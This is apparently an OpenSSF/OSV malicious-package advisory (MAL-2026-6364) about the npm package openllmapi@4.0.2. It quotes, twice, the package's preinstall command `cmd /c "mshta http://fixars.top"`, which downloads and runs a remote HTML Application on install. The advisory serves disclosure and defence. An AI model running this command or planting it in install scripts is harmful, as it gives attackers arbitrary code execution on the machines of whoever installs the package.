OpenSSF/OSV advisory MAL-2026-6364 confirms this npm version as malicious. The package's preinstall lifecycle script (preinstall.js line 3) runs `cmd /c "mshta http://fixars.top"`, which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on `npm install` and yields arbitrary code execution on the installer's machine with the user's privileges...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in openllmapi (npm)
Details
The package's preinstall lifecycle script (preinstall.js line 3) runs `cmd /c "mshta http://fixars.top"`, which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on `npm install` and yields arbitrary code execution on the installer's machine with the user's privileges. The package metadata is consistent with a throwaway malicious publish: empty author, no repository or homepage, and a generic description ('Node.js wrapper for OpenLLM API service.') that does not match the install-time behavior.
Decision reason
OpenSSF Malicious Packages via OSV confirms openllmapi@4.0.2 as malicious (MAL-2026-6364): Malicious code in openllmapi (npm)